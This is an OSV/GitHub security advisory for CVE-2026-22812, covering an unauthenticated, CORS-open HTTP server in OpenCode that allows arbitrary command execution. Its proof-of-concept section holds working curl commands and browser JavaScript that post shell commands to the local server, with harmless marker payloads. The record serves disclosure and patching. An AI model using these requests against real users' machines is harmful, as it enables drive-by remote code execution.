{"id":"GHSA-vxw4-wv6m-9hhh","summary":"OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution","details":"*Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.*\n\n### Summary\n\nOpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.\n\n### Details\n\nWhen OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:\n\n- `POST /session/:id/shell` - Execute shell commands (`server.ts:1401`)\n- `POST /pty` - Create interactive terminal sessions (`server.ts:267`)\n- `GET /file/content?path=` - Read arbitrary files (`server.ts:1868`)\n\nThe server is started automatically in `cli/cmd/tui/worker.ts:36` via `Server.listen()`.\n\nNo authentication middleware exists in `server/server.ts`. The server uses permissive CORS (`.use(cors())` with default `Access-Control-Allow-Origin: *`), enabling browser-based exploitation.\n\n### PoC\n\n**Local exploitation:**\n\n```bash\nAPI=\"http://127.0.0.1:4096\"  # update with actual port\nSESSION_ID=$(curl -s -X POST \"$API/session\" -H \"Content-Type: application/json\" -d '{}' | jq -r '.id')\ncurl -s -X POST \"$API/session/$SESSION_ID/shell\" -H \"Content-Type: application/json\" \\\n  -d '{\"agent\": \"build\", \"command\": \"echo PWNED \u003e /tmp/pwned.txt\"}'\ncat /tmp/pwned.txt  # outputs: PWNED\n```\n\n**Browser-based exploitation:**\n\nA malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.\n\n```javascript\n// Malicious website JavaScript\nfetch('http://127.0.0.1:4096/session', {\n  method: 'POST',\n  headers: {'Content-Type': 'application/json'},\n  body: '{}'\n})\n.then(r =\u003e r.json())\n.then(session =\u003e {\n  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {\n    method: 'POST',\n    headers: {'Content-Type': 'application/json'},\n    body: JSON.stringify({agent: 'build', command: 'id \u003e /tmp/pwned.txt'})\n  });\n});\n```\n\nNote: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.\n\n### Impact\n\n**Remote Code Execution** via two vectors:\n\n1. **Local process**: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.\n\n2. **Browser-based (confirmed in Firefox)**: Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.\n\nWith `--mdns` flag, the server binds to `0.0.0.0` and advertises via Bonjour, extending the attack surface to the entire local network.\n\n*Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.*","aliases":["CVE-2026-22812"],"modified":"2026-02-03T03:00:05.488310Z","published":"2026-01-13T20:35:08Z","database_specific":{"nvd_published_at":"2026-01-12T23:15:53Z","cwe_ids":["CWE-306","CWE-749","CWE-942"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-01-13T20:35:08Z"},"references":[{"type":"WEB","url":"https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22812"},{"type":"WEB","url":"https://github.com/anomalyco/opencode/commit/7d2d87fa2c44e32314015980bb4e59a9386e858c"},{"type":"PACKAGE","url":"https://github.com/anomalyco/opencode"}],"affected":[{"package":{"name":"opencode-ai","ecosystem":"npm","purl":"pkg:npm/opencode-ai"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.216"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-vxw4-wv6m-9hhh/GHSA-vxw4-wv6m-9hhh.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}